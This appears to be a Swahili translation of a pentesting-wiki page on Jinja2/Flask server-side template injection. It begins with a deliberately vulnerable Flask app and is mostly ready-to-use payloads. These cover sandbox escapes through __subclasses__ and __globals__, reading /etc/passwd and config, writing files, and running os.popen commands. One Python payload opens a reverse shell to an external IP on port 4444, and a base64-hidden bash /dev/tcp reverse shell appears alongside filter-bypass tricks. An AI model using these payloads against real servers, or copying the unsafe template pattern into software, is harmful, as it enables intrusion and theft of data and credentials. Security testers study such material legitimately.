from flask import Flask, request, render_template_stringapp =Flask(__name__)@app.route("/")defhome():if request.args.get('c'):returnrender_template_string(request.args.get('c'))else:return"Hello, send someting inside the param 'c'!"if__name__=="__main__":app.run()
Misc
Kauli ya Uchunguzi
Ikiwa Kifaa cha Uchunguzi kimeanzishwa, lebo ya debug itapatikana kwa kudump muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumia kwenye kigezo bila kuweka debugger.
<pre>{% debug %}</pre>
Mwaga pembejeo zote za usanidi
{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
Uingiliaji wa Jinja
Kwanza kabisa, katika uingiliaji wa Jinja unahitaji kupata njia ya kutoroka kutoka kwa sanduku la mchanga na kupata upya ufikiaji wa mwendelezo wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji kutumia vitu ambavyo vinatoka kwenye mazingira yasiyo ya sanduku la mchanga lakini vinapatikana kutoka kwa sanduku la mchanga.
Kupata Vitu vya Kitaifa
Kwa mfano, katika nambari render_template("hello.html", username=username, email=email) vitu vya jina la mtumiaji (username) na barua pepe (email) vinatoka kwenye mazingira ya python yasiyo ya sanduku na vitapatikana ndani ya mazingira ya sanduku.
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa vinapatikana daima kutoka kwa mazingira ya sanduku, hivi ni:
[]
''
()
dict
config
request
Kurejesha <class 'object'>
Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: <class 'object'> ili kujaribu kurejeshadarasa zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengee hiki tunaweza kuita njia ya __subclasses__ na kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku.
Ili kufikia darasa la kipengee hicho, unahitaji kufikia kipengee cha darasa na kisha ufikie __base__, __mro__()[-1] au .mro()[-1]. Na kisha, baada ya kufikia darasa hili la kipengee tunaita __subclasses__().
Angalia mifano hii:
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
Kutoroka RCE
Baada ya kupata<class 'object'> na kuita __subclasses__ sasa tunaweza kutumia classes hizo kusoma na kuandika faili na kutekeleza nambari.
Wito kwa __subclasses__ umetupa fursa ya kupata mamia ya kazi mpya, tutafurahi tu kwa kupata darasa la faili ili kusoma/kuandika faili au darasa lolote lenye upatikanaji wa darasa linalo ruhusu kutekeleza amri (kama vile os).
Soma/Andika faili za mbali
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
RCE
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Without '{{' and '}}'<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
## Passing the cmd line ?cmd=id, Without " and '{{dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip()}}
Kujifunza kuhusu madarasa zaidi unayoweza kutumia kwa kutoroka unaweza kuangalia:
Hizi kupitisha zitaruhusu upatikanaji wa sifa za vitu bila kutumia baadhi ya herufi.
Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya hapo awali, lakini hebu tuzikusanye hapa:
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
Kutoka kwa vitu vya kimataifa kuna njia nyingine ya kufikia RCE bila kutumia darasa hilo.
Ikiwa utafanikiwa kufikia kazi yoyote kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia __globals__.__builtins__ na kutoka hapo RCE ni rahisi sana.
Unaweza kupata kazi kutoka kwa vitu ombi, mpangilio na vitu vingine vya kimataifa vinavyovutia ambavyo unaweza kufikia na:
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
Baada ya kupata baadhi ya kazi unaweza kurejesha builtins na:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid